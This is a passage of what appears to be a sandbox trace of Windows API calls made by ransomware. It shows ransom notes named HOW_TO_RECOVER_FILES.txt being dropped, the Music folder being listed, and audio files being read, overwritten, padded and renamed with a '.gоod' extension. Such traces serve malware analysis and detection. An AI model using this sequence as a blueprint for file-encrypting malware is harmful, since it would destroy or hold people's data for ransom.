lpFilePart=0x0) returned 0x2e [0198.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0198.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Links\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\links\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0198.065] GetFileType (hFile=0x828) returned 0x1 [0198.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0198.065] GetFileType (hFile=0x828) returned 0x1 [0198.066] WriteFile (in: hFile=0x828, lpBuffer=0x3718858*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3718858*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0198.067] CloseHandle (hObject=0x828) returned 1 [0198.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0198.067] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Local Settings", lpFilePart=0x0) returned 0x1e [0198.067] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0198.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0198.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Local Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0198.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0198.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Local Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\local settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0198.070] GetFileType (hFile=0x828) returned 0x1 [0198.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0198.070] GetFileType (hFile=0x828) returned 0x1 [0198.071] WriteFile (in: hFile=0x828, lpBuffer=0x3728e48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3728e48*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0198.072] CloseHandle (hObject=0x828) returned 1 [0198.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0198.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music", lpFilePart=0x0) returned 0x15 [0198.072] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc3a0 [0198.072] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCk2kyUXxmBU", cAlternateFileName="FCK2KY~1")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcb5f1c0, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xc32356e0, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0xc32356e0, ftLastWriteTime.dwHighDateTime=0x1d4d59a, nFileSizeHigh=0x0, nFileSizeLow=0x167ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="IzcihNcsfxy9_vt5-.m4a", cAlternateFileName="IZCIHN~1.M4A")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f6b770, ftCreationTime.dwHighDateTime=0x1d4c82b, ftLastAccessTime.dwLowDateTime=0x13b170b0, ftLastAccessTime.dwHighDateTime=0x1d4ce48, ftLastWriteTime.dwLowDateTime=0x13b170b0, ftLastWriteTime.dwHighDateTime=0x1d4ce48, nFileSizeHigh=0x0, nFileSizeLow=0xcbbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="mupzcuYGDnOZI.m4a", cAlternateFileName="MUPZCU~1.M4A")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b166c0, ftCreationTime.dwHighDateTime=0x1d4d5c6, ftLastAccessTime.dwLowDateTime=0x161b21a0, ftLastAccessTime.dwHighDateTime=0x1d4c78d, ftLastWriteTime.dwLowDateTime=0x161b21a0, ftLastWriteTime.dwHighDateTime=0x1d4c78d, nFileSizeHigh=0x0, nFileSizeLow=0xf96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rwFrbRUmnKE2.mp3", cAlternateFileName="RWFRBR~1.MP3")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmHJlkKb", cAlternateFileName="")) returned 1 [0198.073] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yfTM15Argt6K2XlwJHBi", cAlternateFileName="YFTM15~1")) returned 1 [0198.074] FindNextFileW (in: hFindFile=0x1ecdc3a0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yfTM15Argt6K2XlwJHBi", cAlternateFileName="YFTM15~1")) returned 0 [0198.074] FindClose (in: hFindFile=0x1ecdc3a0 | out: hFindFile=0x1ecdc3a0) returned 1 [0198.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0198.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0198.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0198.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music", lpFilePart=0x0) returned 0x15 [0198.074] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc5e0 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfffc7c5f, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xfffc7c5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29d72cf0, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x72c71a20, ftLastAccessTime.dwHighDateTime=0x1d4cbe4, ftLastWriteTime.dwLowDateTime=0x72c71a20, ftLastWriteTime.dwHighDateTime=0x1d4cbe4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FCk2kyUXxmBU", cAlternateFileName="FCK2KY~1")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcb5f1c0, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xc32356e0, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0xc32356e0, ftLastWriteTime.dwHighDateTime=0x1d4d59a, nFileSizeHigh=0x0, nFileSizeLow=0x167ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="IzcihNcsfxy9_vt5-.m4a", cAlternateFileName="IZCIHN~1.M4A")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f6b770, ftCreationTime.dwHighDateTime=0x1d4c82b, ftLastAccessTime.dwLowDateTime=0x13b170b0, ftLastAccessTime.dwHighDateTime=0x1d4ce48, ftLastWriteTime.dwLowDateTime=0x13b170b0, ftLastWriteTime.dwHighDateTime=0x1d4ce48, nFileSizeHigh=0x0, nFileSizeLow=0xcbbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="mupzcuYGDnOZI.m4a", cAlternateFileName="MUPZCU~1.M4A")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b166c0, ftCreationTime.dwHighDateTime=0x1d4d5c6, ftLastAccessTime.dwLowDateTime=0x161b21a0, ftLastAccessTime.dwHighDateTime=0x1d4c78d, ftLastWriteTime.dwLowDateTime=0x161b21a0, ftLastWriteTime.dwHighDateTime=0x1d4c78d, nFileSizeHigh=0x0, nFileSizeLow=0xf96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rwFrbRUmnKE2.mp3", cAlternateFileName="RWFRBR~1.MP3")) returned 1 [0198.075] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee253110, ftCreationTime.dwHighDateTime=0x1d4d5c7, ftLastAccessTime.dwLowDateTime=0x1bd8d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0x1bd8d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmHJlkKb", cAlternateFileName="")) returned 1 [0198.076] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100bf500, ftCreationTime.dwHighDateTime=0x1d4cf1c, ftLastAccessTime.dwLowDateTime=0x3c1ae990, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x3c1ae990, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yfTM15Argt6K2XlwJHBi", cAlternateFileName="YFTM15~1")) returned 1 [0198.076] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.076] FindClose (in: hFindFile=0x1ecdc5e0 | out: hFindFile=0x1ecdc5e0) returned 1 [0198.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0198.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0198.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0198.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x3738bd8 | out: lpFileInformation=0x3738bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcb5f1c0, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xc32356e0, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0xc32356e0, ftLastWriteTime.dwHighDateTime=0x1d4d59a, nFileSizeHigh=0x0, nFileSizeLow=0x167ff)) returned 1 [0198.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0198.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.077] GetFileType (hFile=0x828) returned 0x1 [0198.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.077] GetFileType (hFile=0x828) returned 0x1 [0198.077] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0198.077] ReadFile (in: hFile=0x828, lpBuffer=0x3738fa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3738fa0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0198.078] CloseHandle (hObject=0x828) returned 1 [0198.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.078] GetFileType (hFile=0x828) returned 0x1 [0198.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.078] GetFileType (hFile=0x828) returned 0x1 [0198.078] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x167ff [0198.078] WriteFile (in: hFile=0x828, lpBuffer=0x373a210*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x373a210*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0198.078] CloseHandle (hObject=0x828) returned 1 [0198.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.079] GetFileType (hFile=0x828) returned 0x1 [0198.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.079] GetFileType (hFile=0x828) returned 0x1 [0198.079] ReadFile (in: hFile=0x828, lpBuffer=0x373c4a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x373c4a8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0198.358] CloseHandle (hObject=0x828) returned 1 [0198.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.358] GetFileType (hFile=0x828) returned 0x1 [0198.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.358] GetFileType (hFile=0x828) returned 0x1 [0198.358] WriteFile (in: hFile=0x828, lpBuffer=0x36511d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x36511d8*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0198.358] CloseHandle (hObject=0x828) returned 1 [0198.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a", lpFilePart=0x0) returned 0x2b [0198.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a.gоod", lpFilePart=0x0) returned 0x30 [0198.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0198.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcb5f1c0, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xc32356e0, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0x72725a00, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1680f)) returned 1 [0198.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0198.359] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IzcihNcsfxy9_vt5-.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\izcihncsfxy9_vt5-.m4a.gоod")) returned 1 [0198.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0198.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0198.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), fInfoLevelId=0x0, lpFileInformation=0x36fc768 | out: lpFileInformation=0x36fc768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f6b770, ftCreationTime.dwHighDateTime=0x1d4c82b, ftLastAccessTime.dwLowDateTime=0x13b170b0, ftLastAccessTime.dwHighDateTime=0x1d4ce48, ftLastWriteTime.dwLowDateTime=0x13b170b0, ftLastWriteTime.dwHighDateTime=0x1d4ce48, nFileSizeHigh=0x0, nFileSizeLow=0xcbbd)) returned 1 [0198.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0198.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a", lpFilePart=0x0) returned 0x27 [0198.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0198.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mupzcuYGDnOZI.m4a" (normalized: "c:\\users\\fd1hvy\\music\\mupzcuygdnozi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0198.360] GetFileType (hFile=0x828) returned 0x1 [0198.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0198.360] GetFileType (hFile=0x828) returned 0x1 [0198.360] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: 